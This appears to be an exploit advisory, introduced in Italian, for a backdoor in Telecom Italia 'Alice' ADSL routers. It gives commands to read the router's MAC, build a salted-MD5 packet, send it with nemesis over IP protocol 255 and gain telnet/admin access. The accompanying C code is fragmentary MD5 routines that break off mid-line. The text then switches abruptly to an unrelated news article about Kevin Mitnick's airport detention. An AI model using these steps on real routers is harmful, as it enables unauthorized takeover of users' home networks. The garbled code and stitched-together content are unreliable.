DA saxdax & drpepperONE

Volutamente censurato da me x evitare danni

1) Introduction
===============

Telecom Italia is the most important Italian ISP offering an ADSL
service named "Alice".
Telecom Italia rent out with "Alice Adsl" service, different CPE
Modem/Router among which
the affected ones.
The interface to configure these modems are made extremily poor by the
provider to ensure
more control.
There's no way to enable telnet, ftp, tftp or more advanced web pages
from the web interface.

http://www.telecomitalia.com/
http://adsl.alice.it/

#############################################################################################

================
2) Vulnerability
================

An attacker can activate and get unauthorized access to the routers
administration
interface and telnet/ftp/tftp services from internal network.

Every user in the LAN (or Wireless LAN) can nevertheless have access
to the routers
administration interface and telnet/ftp/tftp!

If an attacker can get access to the administrator interface and
login, he has full control
over the routers configuration.

#############################################################################################


==============
3) The Exploit
==============

To enable telnet/ftp/tftp and web-admin interface it is necessary send a special
IP packet to router specific ip 192.168.1.1.
This works only from internal LAN where an attacker have and ip like
192.168.1.XX.
The ip packet send to router must have the following feature:

1)IP-protocol-number 255 (there's a RAW SOCKET listening on the router)
2)Payload size 8 byte
3)The payload are the first 8 byte of a salted md5 of the mac address
of device br0
4)br0 in these modems has the same mac of eth0

When the modem receives the packet all services will be enabled.

Example:

>From a GNU/LINUX distrib:

1)Retrieve br0 maccaddress:

arping -I eth0 -c 2 192.168.1.1

ARPING 192.168.1.1 from 192.168.1.2 eth0
Unicast reply from 192.168.1.1 [00:01:02:03:04:05]  8.419ms
Unicast reply from 192.168.1.1 [00:01:02:03:04:05]  2.095ms
Sent 2 probes (1 broadcast(s))
Received 2 response(s)

2)Calculate special md5 hash from br0 macaddress: create an hex 6 byte
long file with the mac address.
      run the application below and copy the output hash.
      http://rapidshare.com/files/153439269/AliceBDhashCreator.zip.html

3)Send ip packet to router ip 192.168.1.1 with 8 byte paylod file
(with the tool you like)

      i.e.: nemesis ip -D 192.168.1.1 -p 255 -P hash.hex

4)Telnet to router :

      telnet 192.168.1.1

      BCM96348 ADSL Router
      Login: admin
      Password:

#############################################################################################

===========
4) The Code
===========

/* Alice Backdoor Pwd creator by saxdax */
/* this code generates an 8 byte hash to use as the paylod of the ip packet   */
/* the mac must be in an hex file and has to be passed as argument to
the program */

2,  9, 0xFCEFA3F8 );
  P( C, D, A, B,  7, 14, 0x676F02D9 );
  P( B, C, D, A, 12, 20, 0x8D2A4C8A );

#undef F

#define F(x,y,z) (x ^ y ^ z)

  P( A, B, C, D,  5,  4, 0xFFFA3942 );
  P
 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};

void md5_finish( md5_context *ctx, uint8 digest[16] )
{
  uint32 last, padn;
  uint32 high, low;
  uint8 msglen[8];


  high = ( ctx->total[0] >> 29 )
       | ( ctx->total[1] <<  3 );
  low  = ( ctx->total[0] <<  3 );

  PUT_UINT32( low,  msglen, 0 );
  PUT_UINT32( high, msglen, 4 );

  //for(int i=0;i<8;i++) printf("length %d\n",msglen[i]);

      last = ctx->total[0] & 0x3F;
  padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last );

  md5_update( ctx, md5_padding, padn );
  md5_update( ctx, msglen, 8 );

  PUT_UINT32( ctx->state[0], digest,  0 );
  PUT_UINT32( ctx->state[1], digest,  4 );
  PUT_UINT32( ctx->state[2], digest,  8 );
  PUT_UINT32( ctx->state[3], digest, 12 );
}

//#ifdef TEST



/*
 * those are the standard RFC 1321 test vectors
 */

static char *msg[] =
{
  "",
  "a",
  "abc",
  "message digest",
  "abcdefghijklmnopqrstuvwxyz",
  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
  "12345678901234567890123456789012345678901234567890123456789012" \
      "345678901234567890"
};

static char *val[] =
{
  "

Se sbarcando dall'aereo un agente doganale vi dice: "Ci sono alcune persone al piano di sotto che vogliono scambiare due parole con te, ma non preoccuparti, va tutto bene", la prima cosa da fare è proprio preoccuparsi.

Ciò è specialmente vero se state tornando negli Stati Uniti dopo un viaggio in Colombia, siete pieni di attrezzature informatiche e, soprattutto, vi chiamate Kevin Mitnick.

L'hacker più famoso del mondo è stato infatti fermato dalla polizia dell'aeroporto di Atlanta poco dopo essere sceso dall'aereo, mentre tornava dal Sud America ed era diretto a una conferenza.

Non è stato arrestato ma posto in stato di fermo. Gli agenti, alla vista di tre portatili, diversi dischi rigidi esterni, tre iPhone, quattro cellulari e il kit usato nelle conferenze (tra cui un dispositivo per sottrarre i dati alle tessere con chip a radiofrequenza), si sono "illuminati", come ha detto lo stesso Mitnick, credendo di averlo colto con l'attrezzatura per clonare carte di credito.

Per quattro ore Mitnick è stato trattenuto, interrogato e perquisito, nonostante una recentissima legge degli Stati Uniti consenta questo genere di atti solo in presenza di un ragionevole sospetto di attività illegali.

Il bello è che, per coincidenza, nello stesso momento a Bogotà un pacco che si era spedito negli Stati Uniti contenente altro materiale informatico veniva aperto e fatto a pezzi (letteralmente: un disco rigido è stato trapanato) perché all'esterno c'erano tracce di cocaina.

Kevin Mitnick era stato avvisato di quanto avveniva in Sud America dalla fidanzata colombiana poco prima che lo fermassero.

"Riuscite a immaginare se avessi detto agli agenti: Questo ha qualcosa a che fare con la cocaina?" ha scherzato Mitnick, che però è molto critico con quello che secondo lui è diventato uno "stato di polizia".

"Viaggio in Paesi stranieri che hanno regole ancora più restrittive, e non ho mai avuto problemi" ha affermato Kevin.

Per evitare guai con la polizia doganale americana (che potrebbe decidere di sequestrare o perquisire tutto il materiale elettronico che le capita a tiro, nonostante la recente legislazione), quando torna in patria Mitnick crittografa sempre i propri dischi e trasmette le informazioni personali via Internet negli Stati Uniti prima di partire, cancellandole poi dai portatili.

Ora ha deciso che aggiungerà alle misure di sicurezza anche un clone del MacBook (che porta sempre con sé) da lasciare a casa, così da avere sempre una copia dei propri dati qualora la polizia decida di tenersi il portatile da viaggio.